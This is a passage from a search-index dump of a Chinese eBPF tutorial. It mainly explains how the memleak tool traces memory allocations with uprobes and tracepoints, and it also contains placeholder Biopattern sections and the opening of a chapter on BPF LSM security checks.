eBPF 入门实践教程，我们学习了如何使用 eBPF 和 USDT 动态跟踪和分析 Java 的垃圾回收(GC)事件。我们了解了如何在用户态应用程序中设置 USDT 跟踪点，以及如何编写 eBPF 程序来捕获这些跟踪点的信息，从而更深入地理解和优化 Java GC 的行为和性能。 此外，我们也介绍了一些关于 Java GC、USDT 和 eBPF 的基础知识和实践技巧，这些知识和技巧对于想要在网络和系统性能分析领域深入研究的开发者来说是非常有价值的。 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » 总结","id":"100","title":"总结"},"101":{"body":"eBPF（扩展的伯克利数据包过滤器）是一项强大的网络和性能分析工具，被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码，而无需重启内核或更改内核源代码。 在本篇教程中，我们将探讨如何使用 eBPF 编写 Memleak 程序，以监控程序的内存泄漏。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » eBPF 入门实践教程十六：编写 eBPF 程序 Memleak 监控内存泄漏","id":"101","title":"eBPF 入门实践教程十六：编写 eBPF 程序 Memleak 监控内存泄漏"},"102":{"body":"内存泄漏是计算机编程中的一种常见问题，其严重程度不应被低估。内存泄漏发生时，程序会逐渐消耗更多的内存资源，但并未正确释放。随着时间的推移，这种行为会导致系统内存逐渐耗尽，从而显著降低程序及系统的整体性能。 内存泄漏有多种可能的原因。这可能是由于配置错误导致的，例如程序错误地配置了某些资源的动态分配。它也可能是由于软件缺陷或错误的内存管理策略导致的，如在程序执行过程中忘记释放不再需要的内存。此外，如果一个应用程序的内存使用量过大，那么系统性能可能会因页面交换（swapping）而大幅下降，甚至可能导致应用程序被系统强制终止（Linux 的 OOM killer）。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 背景及其重要性","id":"102","title":"背景及其重要性"},"103":{"body":"调试内存泄漏问题是一项复杂且挑战性的任务。这涉及到详细检查应用程序的配置、内存分配和释放情况，通常需要应用专门的工具来帮助诊断。例如，有一些工具可以在应用程序启动时将 malloc() 函数调用与特定的检测工具关联起来，如 Valgrind memcheck，这类工具可以模拟 CPU 来检查所有内存访问，但可能会导致应用程序运行速度大大减慢。另一个选择是使用堆分析器，如 libtcmalloc，它相对较快，但仍可能使应用程序运行速度降低五倍以上。此外，还有一些工具，如 gdb，可以获取应用程序的核心转储并进行后处理以分析内存使用情况。然而，这些工具通常在获取核心转储时需要暂停应用程序，或在应用程序终止后才能调用 free() 函数。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 调试内存泄漏的挑战","id":"103","title":"调试内存泄漏的挑战"},"104":{"body":"在这种背景下，eBPF 的作用就显得尤为重要。eBPF 提供了一种高效的机制来监控和追踪系统级别的事件，包括内存的分配和释放。通过 eBPF，我们可以跟踪内存分配和释放的请求，并收集每次分配的调用堆栈。然后，我们可以分 析这些信息，找出执行了内存分配但未执行释放操作的调用堆栈，这有助于我们找出导致内存泄漏的源头。这种方式的优点在于，它可以实时地在运行的应用程序中进行，而无需暂停应用程序或进行复杂的前后处理。 memleak eBPF 工具可以跟踪并匹配内存分配和释放的请求，并收集每次分配的调用堆栈。随后，memleak 可以打印一个总结，表明哪些调用堆栈执行了分配，但是并没有随后进行释放。例如，我们运行命令： # ./memleak -p $(pidof allocs)\nAttaching to pid 5193, Ctrl+C to quit.\n[11:16:33] Top 2 stacks with outstanding allocations: 80 bytes in 5 allocations from stack main+0x6d [allocs] __libc_start_main+0xf0 [libc-2.21.so] [11:16:34] Top 2 stacks with outstanding allocations: 160 bytes in 10 allocations from stack main+0x6d [allocs] __libc_start_main+0xf0 [libc-2.21.so] 运行这个命令后，我们可以看到分配但未释放的内存来自于哪些堆栈，并且可以看到这些未释放的内存的大小和数量。 随着时间的推移，很显然，allocs 进程的 main 函数正在泄漏内存，每次泄漏 16 字节。幸运的是，我们不需要检查每个分配，我们得到了一个很好的总结，告诉我们哪个堆栈负责大量的泄漏。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » eBPF 的作用","id":"104","title":"eBPF 的作用"},"105":{"body":"在基本层面上，memleak 的工作方式类似于在内存分配和释放路径上安装监控设备。它通过在内存分配和释放函数中插入 eBPF 程序来达到这个目标。这意味着，当这些函数被调用时，memleak 就会记录一些重要信息，如调用者的进程 ID（PID）、分配的内存地址以及分配的内存大小等。当释放内存的函数被调用时，memleak 则会在其内部的映射表（map）中删除相应的内存分配记录。这种机制使得 memleak 能够准确地追踪到哪些内存块已被分配但未被释放。 对于用户态的常用内存分配函数，如 malloc 和 calloc 等，memleak 利用了用户态探测（uprobe）技术来实现监控。uprobe 是一种用于用户空间应用程序的动态追踪技术，它可以在运行时不修改二进制文件的情况下在任意位置设置断点，从而实现对特定函数调用的追踪。 对于内核态的内存分配函数，如 kmalloc 等，memleak 则选择使用了 tracepoint 来实现监控。Tracepoint 是一种在 Linux 内核中提供的动态追踪技术，它可以在内核运行时动态地追踪特定的事件，而无需重新编译内核或加载内核模块。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » memleak 的实现原理","id":"105","title":"memleak 的实现原理"},"106":{"body":"","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 内核态 eBPF 程序实现","id":"106","title":"内核态 eBPF 程序实现"},"107":{"body":"memleak 的内核态 eBPF 程序包含一些用于跟踪内存分配和释放的关键函数。在我们深入了解这些函数之前，让我们首先观察 memleak 所定义的一些数据结构，这些结构在其内核态和用户态程序中均有使用。 #ifndef __MEMLEAK_H\n#define __MEMLEAK_H #define ALLOCS_MAX_ENTRIES 1000000\n#define COMBINED_ALLOCS_MAX_ENTRIES 10240 struct alloc_info { __u64 size; // 分配的内存大小 __u64 timestamp_ns; // 分配时的时间戳，单位为纳秒 int stack_id; // 分配时的调用堆栈ID\n}; union combined_alloc_info { struct { __u64 total_size : 40; // 所有未释放分配的总大小 __u64 number_of_allocs : 24; // 所有未释放分配的总次数 }; __u64 bits; // 结构的位图表示\n}; #endif /* __MEMLEAK_H */ 这里定义了两个主要的数据结构：alloc_info 和 combined_alloc_info。 alloc_info 结构体包含了一个内存分配的基本信息，包括分配的内存大小 size、分配发生时的时间戳 timestamp_ns，以及触发分配的调用堆栈 ID stack_id。 combined_alloc_info 是一个联合体（union），它包含一个嵌入的结构体和一个 __u64 类型的位图表示 bits。嵌入的结构体有两个成员：total_size 和 number_of_allocs，分别代表所有未释放分配的总大小和总次数。其中 40 和 24 分别表示 total_size 和 number_of_allocs这两个成员变量所占用的位数，用来限制其大小。通过这样的位数限制，可以节省combined_alloc_info结构的存储空间。同时，由于total_size和number_of_allocs在存储时是共用一个unsigned long long类型的变量bits，因此可以通过在成员变量bits上进行位运算来访问和修改total_size和number_of_allocs，从而避免了在程序中定义额外的变量和函数的复杂性。 接下来，memleak 定义了一系列用于保存内存分配信息和分析结果的 eBPF 映射（maps）。这些映射都以 SEC(\".maps\") 的形式定义，表示它们属于 eBPF 程序的映射部分。 const volatile size_t min_size = 0;\nconst volatile size_t max_size = -1;\nconst volatile size_t page_size = 4096;\nconst volatile __u64 sample_rate = 1;\nconst volatile bool trace_all = false;\nconst volatile __u64 stack_flags = 0;\nconst volatile bool wa_missing_free = false; struct { __uint(type, BPF_MAP_TYPE_HASH); __type(key, pid_t); __type(value, u64); __uint(max_entries, 10240);\n} sizes SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __type(key, u64); /* address */ __type(value, struct alloc_info); __uint(max_entries, ALLOCS_MAX_ENTRIES);\n} allocs SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __type(key, u64); /* stack id */ __type(value, union combined_alloc_info); __uint(max_entries, COMBINED_ALLOCS_MAX_ENTRIES);\n} combined_allocs SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __type(key, u64); __type(value, u64); __uint(max_entries, 10240);\n} memptrs SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_STACK_TRACE); __type(key, u32);\n} stack_traces SEC(\".maps\"); static union combined_alloc_info initial_cinfo; 这段代码首先定义了一些可配置的参数，如 min_size, max_size, page_size, sample_rate, trace_all, stack_flags 和 wa_missing_free，分别表示最小分配大小、最大分配大小、页面大小、采样率、是否追踪所有分配、堆栈标志和是否工作在缺失释放（missing free）模式。 接着定义了五个映射： sizes：这是一个哈希类型的映射，键为进程 ID，值为 u64 类型，存储每个进程的分配大小。 allocs：这也是一个哈希类型的映射，键为分配的地址，值为 alloc_info 结构体，存储每个内存分配的详细信息。 combined_allocs：这是另一个哈希类型的映射，键为堆栈 ID，值为 combined_alloc_info 联合体，存储所有未释放分配的总大小和总次数。 memptrs：这也是一个哈希类型的映射，键和值都为 u64 类型，用于在用户空间和内核空间之间传递内存指针。 stack_traces：这是一个堆栈追踪类型的映射，键为 u32 类型，用于存储堆栈 ID。 以用户态的内存分配追踪部分为例，主要是挂钩内存相关的函数调用，如 malloc, free, calloc, realloc, mmap 和 munmap，以便在调用这些函数时进行数据记录。在用户态，memleak 主要使用了 uprobes 技术进行挂载。 每个函数调用被分为 \"enter\" 和 \"exit\" 两部分。\"enter\" 部分记录的是函数调用的参数，如分配的大小或者释放的地址。\"exit\" 部分则主要用于获取函数的返回值，如分配得到的内存地址。 这里，gen_alloc_enter, gen_alloc_exit, gen_free_enter 是实现记录行为的函数，他们分别用于记录分配开始、分配结束和释放开始的相关信息。 函数原型示例如下： SEC(\"uprobe\")\nint BPF_KPROBE(malloc_enter, size_t size)\n{ // 记录分配开始的相关信息 return gen_alloc_enter(size);\n} SEC(\"uretprobe\")\nint BPF_KRETPROBE(malloc_exit)\n{ // 记录分配结束的相关信息 return gen_alloc_exit(ctx);\n} SEC(\"uprobe\")\nint BPF_KPROBE(free_enter, void *address)\n{ // 记录释放开始的相关信息 return gen_free_enter(address);\n} 其中，malloc_enter 和 free_enter 是分别挂载在 malloc 和 free 函数入口处的探针（probes），用于在函数调用时进行数据记录。而 malloc_exit 则是挂载在 malloc 函数的返回处的探针，用于记录函数的返回值。 这些函数使用了 BPF_KPROBE 和 BPF_KRETPROBE 这两个宏来声明，这两个宏分别用于声明 kprobe（内核探针）和 kretprobe（内核返回探针）。具体来说，kprobe 用于在函数调用时触发，而 kretprobe 则是在函数返回时触发。 gen_alloc_enter 函数是在内存分配请求的开始时被调用的。这个函数主要负责在调用分配内存的函数时收集一些基本的信息。下面我们将深入探讨这个函数的实现。 static int gen_alloc_enter(size_t size)\n{ if (size < min_size || size > max_size) return 0; if (sample_rate > 1) { if (bpf_ktime_get_ns() % sample_rate != 0) return 0; } const pid_t pid = bpf_get_current_pid_tgid() >> 32; bpf_map_update_elem(&sizes, &pid, &size, BPF_ANY); if (trace_all) bpf_printk(\"alloc entered, size = %lu\\n\", size); return 0;\n} SEC(\"uprobe\")\nint BPF_KPROBE(malloc_enter, size_t size)\n{ return gen_alloc_enter(size);\n} 首先，gen_alloc_enter 函数接收一个 size 参数，这个参数表示请求分配的内存的大小。如果这个值不在 min_size 和 max_size 之间，函数将直接返回，不再进行后续的操作。这样可以使工具专注于追踪特定范围的内存分配请求，过滤掉不感兴趣的分配请求。 接下来，函数检查采样率 sample_rate。如果 sample_rate 大于1，意味着我们不需要追踪所有的内存分配请求，而是周期性地追踪。这里使用 bpf_ktime_get_ns 获取当前的时间戳，然后通过取模运算来决定是否需要追踪当前的内存分配请求。这是一种常见的采样技术，用于降低性能开销，同时还能够提供一个代表性的样本用于分析。 之后，函数使用 bpf_get_current_pid_tgid 函数获取当前进程的 PID。注意这里的 PID 实际上是进程和线程的组合 ID，我们通过右移 32 位来获取真正的进程 ID。 函数接下来更新 sizes 这个 map，这个 map 以进程 ID 为键，以请求的内存分配大小为值。BPF_ANY 表示如果 key 已存在，那么更新 value，否则就新建一个条目。 最后，如果启用了 trace_all 标志，函数将打印一条信息，说明发生了内存分配。 BPF_KPROBE 宏用于 最后定义了 BPF_KPROBE(malloc_enter, size_t size)，它会在 malloc 函数被调用时被 BPF uprobe 拦截执行，并通过 gen_alloc_enter 来记录内存分配大小。 我们刚刚分析了内存分配的入口函数 gen_alloc_enter，现在我们来关注这个过程的退出部分。具体来说，我们将讨论 gen_alloc_exit2 函数以及如何从内存分配调用中获取返回的内存地址。 static int gen_alloc_exit2(void *ctx, u64 address)\n{ const pid_t pid = bpf_get_current_pid_tgid() >> 32; struct alloc_info info; const u64* size = bpf_map_lookup_elem(&sizes, &pid); if (!size) return 0; // missed alloc entry __builtin_memset(&info, 0, sizeof(info)); info.size = *size; bpf_map_delete_elem(&sizes, &pid); if (address != 0) { info.timestamp_ns = bpf_ktime_get_ns(); info.stack_id = bpf_get_stackid(ctx, &stack_traces, stack_flags); bpf_map_update_elem(&allocs, &address, &info, BPF_ANY); update_statistics_add(info.stack_id, info.size); } if (trace_all) { bpf_printk(\"alloc exited, size = %lu, result = %lx\\n\", info.size, address); } return 0;\n}\nstatic int gen_alloc_exit(struct pt_regs *ctx)\n{ return gen_alloc_exit2(ctx, PT_REGS_RC(ctx));\n} SEC(\"uretprobe\")\nint BPF_KRETPROBE(malloc_exit)\n{ return gen_alloc_exit(ctx);\n} gen_alloc_exit2 函数在内存分配操作完成时被调用，这个函数接收两个参数，一个是上下文 ctx，另一个是内存分配函数返回的内存地址 address。 首先，它获取当前线程的 PID，然后使用这个 PID 作为键在 sizes 这个 map 中查找对应的内存分配大小。如果没有找到（也就是说，没有对应的内存分配操作的入口），函数就会直接返回。 接着，函数清除 info 结构体的内容，并设置它的 size 字段为之前在 map 中找到的内存分配大小。并从 sizes 这个 map 中删除相应的元素，因为此时内存分配操作已经完成，不再需要这个信息。 接下来，如果 address 不为 0（也就是说，内存分配操作成功了），函数就会进一步收集一些额外的信息。首先，它获取当前的时间戳作为内存分配完成的时间，并获取当前的堆栈跟踪。这些信息都会被储存在 info 结构体中，并随后更新到 allocs 这个 map 中。 最后，函数调用 update_statistics_add 更新统计数据，如果启用了所有内存分配操作的跟踪，函数还会打印一些关于内存分配操作的信息。 请注意，gen_alloc_exit 函数是 gen_alloc_exit2 的一个包装，它将 PT_REGS_RC(ctx) 作为 address 参数传递给 gen_alloc_exit2。在我们的讨论中，我们刚刚提到在gen_alloc_exit2函数中，调用了update_statistics_add` 函数以更新内存分配的统计数据。下面我们详细看一下这个函数的具体实现。 static void update_statistics_add(u64 stack_id, u64 sz)\n{ union combined_alloc_info *existing_cinfo; existing_cinfo = bpf_map_lookup_or_try_init(&combined_allocs, &stack_id, &initial_cinfo); if (!existing_cinfo) return; const union combined_alloc_info incremental_cinfo = { .total_size = sz, .number_of_allocs = 1 }; __sync_fetch_and_add(&existing_cinfo->bits, incremental_cinfo.bits);\n} update_statistics_add 函数接收两个参数：当前的堆栈 ID stack_id 以及内存分配的大小 sz。这两个参数都在内存分配事件中收集到，并且用于更新内存分配的统计数据。 首先，函数尝试在 combined_allocs 这个 map 中查找键值为当前堆栈 ID 的元素，如果找不到，就用 initial_cinfo（这是一个默认的 combined_alloc_info 结构体，所有字段都为零）来初始化新的元素。 接着，函数创建一个 incremental_cinfo，并设置它的 total_size 为当前内存分配的大小，设置 number_of_allocs 为 1。这是因为每次调用 update_statistics_add 函数都表示有一个新的内存分配事件发生，而这个事件的内存分配大小就是 sz。 最后，函数使用 __sync_fetch_and_add 函数原子地将 incremental_cinfo 的值加到 existing_cinfo 中。请注意这个步骤是线程安全的，即使有多个线程并发地调用 update_statistics_add 函数，每个内存分配事件也能正确地记录到统计数据中。 总的来说，update_statistics_add 函数实现了内存分配统计的更新逻辑，通过维护每个堆栈 ID 的内存分配总量和次数，我们可以深入了解到程序的内存分配行为。 在我们对内存分配的统计跟踪过程中，我们不仅要统计内存的分配，还要考虑内存的释放。在上述代码中，我们定义了一个名为 update_statistics_del 的函数，其作用是在内存释放时更新统计信息。而 gen_free_enter 函数则是在进程调用 free 函数时被执行。 static void update_statistics_del(u64 stack_id, u64 sz)\n{ union combined_alloc_info *existing_cinfo; existing_cinfo = bpf_map_lookup_elem(&combined_allocs, &stack_id); if (!existing_cinfo) { bpf_printk(\"failed to lookup combined allocs\\n\"); return; } const union combined_alloc_info decremental_cinfo = { .total_size = sz, .number_of_allocs = 1 }; __sync_fetch_and_sub(&existing_cinfo->bits, decremental_cinfo.bits);\n} update_statistics_del 函数的参数为堆栈 ID 和要释放的内存块大小。函数首先在 combined_allocs 这个 map 中使用当前的堆栈 ID 作为键来查找相应的 combined_alloc_info 结构体。如果找不到，就输出错误信息，然后函数返回。如果找到了，就会构造一个名为 decremental_cinfo 的 combined_alloc_info 结构体，设置它的 total_size 为要释放的内存大小，设置 number_of_allocs 为 1。然后使用 __sync_fetch_and_sub 函数原子地从 existing_cinfo 中减去 decremental_cinfo 的值。请注意，这里的 number_of_allocs 是负数，表示减少了一个内存分配。 static int gen_free_enter(const void *address)\n{ const u64 addr = (u64)address; const struct alloc_info *info = bpf_map_lookup_elem(&allocs, &addr); if (!info) return 0; bpf_map_delete_elem(&allocs, &addr); update_statistics_del(info->stack_id, info->size); if (trace_all) { bpf_printk(\"free entered, address = %lx, size = %lu\\n\", address, info->size); } return 0;\n} SEC(\"uprobe\")\nint BPF_KPROBE(free_enter, void *address)\n{ return gen_free_enter(address);\n} 接下来看 gen_free_enter 函数。它接收一个地址作为参数，这个地址是内存分配的结果，也就是将要释放的内存的起始地址。函数首先在 allocs 这个 map 中使用这个地址作为键来查找对应的 alloc_info 结构体。如果找不到，那么就直接返回，因为这意味着这个地址并没有被分配过。如果找到了，那么就删除这个元素，并且调用 update_statistics_del 函数来更新统计数据。最后，如果启用了全局追踪，那么还会输出一条信息，包括这个地址以及它的大小。 在我们追踪和统计内存分配的同时，我们也需要对内核态的内存分配和释放进行追踪。在Linux内核中，kmem_cache_alloc函数和kfree函数分别用于内核态的内存分配和释放。 SEC(\"tracepoint/kmem/kfree\")\nint memleak__kfree(void *ctx)\n{ const void *ptr; if (has_kfree()) { struct trace_event_raw_kfree___x *args = ctx; ptr = BPF_CORE_READ(args, ptr); } else { struct trace_event_raw_kmem_free___x *args = ctx; ptr = BPF_CORE_READ(args, ptr); } return gen_free_enter(ptr);\n} 上述代码片段定义了一个函数memleak__kfree，这是一个bpf程序，会在内核调用kfree函数时执行。首先，该函数检查是否存在kfree函数。如果存在，则会读取传递给kfree函数的参数（即要释放的内存块的地址），并保存到变量ptr中；否则，会读取传递给kmem_free函数的参数（即要释放的内存块的地址），并保存到变量ptr中。接着，该函数会调用之前定义的gen_free_enter函数来处理该内存块的释放。 SEC(\"tracepoint/kmem/kmem_cache_alloc\")\nint memleak__kmem_cache_alloc(struct trace_event_raw_kmem_alloc *ctx)\n{ if (wa_missing_free) gen_free_enter(ctx->ptr); gen_alloc_enter(ctx->bytes_alloc); return gen_alloc_exit2(ctx, (u64)(ctx->ptr));\n} 这段代码定义了一个函数 memleak__kmem_cache_alloc，这也是一个bpf程序，会在内核调用 kmem_cache_alloc 函数时执行。如果标记 wa_missing_free 被设置，则调用 gen_free_enter 函数处理可能遗漏的释放操作。然后，该函数会调用 gen_alloc_enter 函数来处理内存分配，最后调用gen_alloc_exit2函数记录分配的结果。 这两个 bpf 程序都使用了 SEC 宏定义了对应的 tracepoint，以便在相应的内核函数被调用时得到执行。在Linux内核中，tracepoint 是一种可以在内核中插入的静态钩子，可以用来收集运行时的内核信息，它在调试和性能分析中非常有用。 在理解这些代码的过程中，要注意 BPF_CORE_READ 宏的使用。这个宏用于在 bpf 程序中读取内核数据。在 bpf 程序中，我们不能直接访问内核内存，而需要使用这样的宏来安全地读取数据。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » memleak 内核态 eBPF 程序实现","id":"107","title":"memleak 内核态 eBPF 程序实现"},"108":{"body":"在理解 BPF 内核部分之后，我们转到用户空间程序。用户空间程序与BPF内核程序紧密配合，它负责将BPF程序加载到内核，设置和管理BPF map，以及处理从BPF程序收集到的数据。用户态程序较长，我们这里可以简要参考一下它的挂载点。 int attach_uprobes(struct memleak_bpf *skel)\n{ ATTACH_UPROBE_CHECKED(skel, malloc, malloc_enter); ATTACH_URETPROBE_CHECKED(skel, malloc, malloc_exit); ATTACH_UPROBE_CHECKED(skel, calloc, calloc_enter); ATTACH_URETPROBE_CHECKED(skel, calloc, calloc_exit); ATTACH_UPROBE_CHECKED(skel, realloc, realloc_enter); ATTACH_URETPROBE_CHECKED(skel, realloc, realloc_exit); ATTACH_UPROBE_CHECKED(skel, mmap, mmap_enter); ATTACH_URETPROBE_CHECKED(skel, mmap, mmap_exit); ATTACH_UPROBE_CHECKED(skel, posix_memalign, posix_memalign_enter); ATTACH_URETPROBE_CHECKED(skel, posix_memalign, posix_memalign_exit); ATTACH_UPROBE_CHECKED(skel, memalign, memalign_enter); ATTACH_URETPROBE_CHECKED(skel, memalign, memalign_exit); ATTACH_UPROBE_CHECKED(skel, free, free_enter); ATTACH_UPROBE_CHECKED(skel, munmap, munmap_enter); // the following probes are intentinally allowed to fail attachment // deprecated in libc.so bionic ATTACH_UPROBE(skel, valloc, valloc_enter); ATTACH_URETPROBE(skel, valloc, valloc_exit); // deprecated in libc.so bionic ATTACH_UPROBE(skel, pvalloc, pvalloc_enter); ATTACH_URETPROBE(skel, pvalloc, pvalloc_exit); // added in C11 ATTACH_UPROBE(skel, aligned_alloc, aligned_alloc_enter); ATTACH_URETPROBE(skel, aligned_alloc, aligned_alloc_exit); return 0;\n} 在这段代码中，我们看到一个名为attach_uprobes的函数，该函数负责将uprobes（用户空间探测点）挂载到内存分配和释放函数上。在Linux中，uprobes是一种内核机制，可以在用户空间程序中的任意位置设置断点，这使得我们可以非常精确地观察和控制用户空间程序的行为。 这里，每个内存相关的函数都通过两个uprobes进行跟踪：一个在函数入口（enter），一个在函数退出（exit）。因此，每当这些函数被调用或返回时，都会触发一个uprobes事件，进而触发相应的BPF程序。 在具体的实现中，我们使用了ATTACH_UPROBE和ATTACH_URETPROBE两个宏来附加uprobes和uretprobes（函数返回探测点）。每个宏都需要三个参数：BPF程序的骨架（skel），要监视的函数名，以及要触发的BPF程序的名称。 这些挂载点包括常见的内存分配函数，如malloc、calloc、realloc、mmap、posix_memalign、memalign、free等，以及对应的退出点。另外，我们也观察一些可能的分配函数，如valloc、pvalloc、aligned_alloc等，尽管它们可能不总是存在。 这些挂载点的目标是捕获所有可能的内存分配和释放事件，从而使我们的内存泄露检测工具能够获取到尽可能全面的数据。这种方法可以让我们不仅能跟踪到内存分配和释放，还能得到它们发生的上下文信息，例如调用栈和调用次数，从而帮助我们定位和修复内存泄露问题。 注意，一些内存分配函数可能并不存在或已弃用，比如valloc、pvalloc等，因此它们的附加可能会失败。在这种情况下，我们允许附加失败，并不会阻止程序的执行。这是因为我们更关注的是主流和常用的内存分配函数，而这些已经被弃用的函数往往在实际应用中较少使用。 完整的源代码：https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/16-memleak","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 用户态程序","id":"108","title":"用户态程序"},"109":{"body":"$ git clone https://github.com/iovisor/bcc.git --recurse-submodules $ cd libbpf-tools/\n$ make memleak\n$ sudo ./memleak using default object: libc.so.6\nusing page size: 4096\ntracing kernel: true\nTracing outstanding memory allocs... Hit Ctrl-C to end\n[17:17:27] Top 10 stacks with outstanding allocations:\n1236992 bytes in 302 allocations from stack 0 [<ffffffff812c8f43>] <null sym> 1 [<ffffffff812c8f43>] <null sym> 2 [<ffffffff812a9d42>] <null sym> 3 [<ffffffff812aa392>] <null sym> 4 [<ffffffff810df0cb>] <null sym> 5 [<ffffffff81edc3fd>] <null sym> 6 [<ffffffff82000b62>] <null sym>\n...","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 编译运行","id":"109","title":"编译运行"},"11":{"body":"开发、构建和分发 eBPF 一直以来都是一个高门槛的工作，使用 BCC、bpftrace 等工具开发效率高、可移植性好，但是分发部署时需要安装 LLVM、Clang等编译环境，每次运行的时候执行本地或远程编译过程，资源消耗较大；使用原生的 CO-RE libbpf时又需要编写不少用户态加载代码来帮助 eBPF 程序正确加载和从内核中获取上报的信息，同时对于 eBPF 程序的分发、管理也没有很好地解决方案。 eunomia-bpf 是一个开源的 eBPF 动态加载运行时和开发工具链，是为了简化 eBPF 程序的开发、构建、分发、运行而设计的，基于 libbpf 的 CO-RE 轻量级开发框架。 使用 eunomia-bpf ，可以： 在编写 eBPF 程序或工具时只编写内核态代码，自动获取内核态导出信息，并作为模块动态加载； 使用 WASM 进行用户态交互程序的开发，在 WASM 虚拟机内部控制整个 eBPF 程序的加载和执行，以及处理相关数据； eunomia-bpf 可以将预编译的 eBPF 程序打包为通用的 JSON 或 WASM 模块，跨架构和内核版本进行分发，无需重新编译即可动态加载运行。 eunomia-bpf 由一个编译工具链和一个运行时库组成, 对比传统的 BCC、原生 libbpf 等框架，大幅简化了 eBPF 程序的开发流程，在大多数时候只需编写内核态代码，即可轻松构建、打包、发布完整的 eBPF 应用，同时内核态 eBPF 代码保证和主流的 libbpf, libbpfgo, libbpf-rs 等开发框架的 100% 兼容性。需要编写用户态代码的时候，也可以借助 Webassembly 实现通过多种语言进行用户态开发。和 bpftrace 等脚本工具相比, eunomia-bpf 保留了类似的便捷性, 同时不仅局限于 trace 方面, 可以用于更多的场景, 如网络、安全等等。 eunomia-bpf 项目 Github 地址: https://github.com/eunomia-bpf/eunomia-bpf gitee 镜像: https://gitee.com/anolis/eunomia","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » eunomia-bpf","id":"11","title":"eunomia-bpf"},"110":{"body":"通过本篇 eBPF 入门实践教程，您已经学习了如何编写 Memleak eBPF 监控程序，以实时监控程序的内存泄漏。您已经了解了 eBPF 在内存监控方面的应用，学会了使用 BPF API 编写 eBPF 程序，创建和使用 eBPF maps，并且明白了如何用 eBPF 工具监测和分析内存泄漏问题。我们展示了一个详细的例子，帮助您理解 eBPF 代码的运行流程和原理。 您可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。 接下来的教程将进一步探讨 eBPF 的高级特性，我们会继续分享更多有关 eBPF 开发实践的内容。希望这些知识和技巧能帮助您更好地了解和使用 eBPF，以解决实际工作中遇到的问题。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 总结","id":"110","title":"总结"},"111":{"body":"","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » eBPF 入门实践教程：编写 eBPF 程序 Biopattern: 统计随机/顺序磁盘 I/O","id":"111","title":"eBPF 入门实践教程：编写 eBPF 程序 Biopattern: 统计随机/顺序磁盘 I/O"},"112":{"body":"Biopattern 可以统计随机/顺序磁盘I/O次数的比例。 TODO","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » 背景","id":"112","title":"背景"},"113":{"body":"Biopattern 的ebpf代码在 tracepoint/block/block_rq_complete 挂载点下实现。在磁盘完成IO请求 后，程序会经过此挂载点。Biopattern 内部存有一张以设备号为主键的哈希表，当程序经过挂载点时, Biopattern 会获得操作信息，根据哈希表中该设备的上一次操作记录来判断本次操作是随机IO还是顺序IO，并更新操作计数。","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » 实现原理","id":"113","title":"实现原理"},"114":{"body":"TODO","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » 编写 eBPF 程序","id":"114","title":"编写 eBPF 程序"},"115":{"body":"Biopattern 可以展现随机/顺序磁盘I/O次数的比例，对于开发者把握整体I/O情况有较大帮助。 TODO","breadcrumbs":"编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O » 总结","id":"115","title":"总结"},"116":{"body":"TODO","breadcrumbs":"更多的参考资料 » 更多的参考资料","id":"116","title":"更多的参考资料"},"117":{"body":"eBPF (扩展的伯克利数据包过滤器) 是一项强大的网络和性能分析工具，被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码，而无需重启内核或更改内核源代码。这个特性使得 eBPF 能够提供极高的灵活性和性能，使其在网络和系统性能分析方面具有广泛的应用。安全方面的 eBPF 应用也是如此，本文将介绍如何使用 eBPF LSM（Linux Security Modules）机制实现一个简单的安全检查程序。","breadcrumbs":"使用 LSM 进行安全检测防御 » eBPF 入门实践教程：使用 LSM 进行安全检测防御","id":"117","title":"eBPF 入门实践教程：使用 LSM 进行安全检测防御"},"118":{"body":"LSM 从 Linux 2.6 开始成为官方内核的一个安全框架，基于此的安全实现包括 SELinux 和 AppArmor 等。在 Linux 5.7 引入 BPF LSM 后，系统开发人员已经能够自由地实现函数粒度的安全检查能力，本文就提供了这样一个案例：限制通过 socket connect 函数对特定 IPv4 地址进行访问的 BPF LSM 程序。（可见其控制精度是很高的）","breadcrumbs":"使用 LSM 进行安全检测防御 » 背景","id":"118","title":"背景"},"119":{"body":"LSM（Linux Security Modules）是 Linux 内核中用于支持各种计算机安全模型的框架。LSM 在 Linux 内核安全相关的关键路径上预置了一批 hook 点，从而实现了内核和安全模块的解耦，使不同的安全模块可以自由地在内核中加载/卸载，无需修改原有的内核代码就可以加入安全检查功能。 在过去，使用 LSM 主要通过配置已有的安全模块（如 SELinux 和 AppArmor）或编写自己的内核模块；而在 Linux 5.7 引入 BPF LSM 机制后，一切都变得不同了：现在，开发人员可以通过 eBPF 编写自定义的安全策略，并将其动态加载到内核中的 LSM 挂载点，而无需配置或编写内核模块。 现在 LSM 支持的 hook 点包括但不限于： 对文件的打开、创建、删除和移动等； 文件系统的挂载； 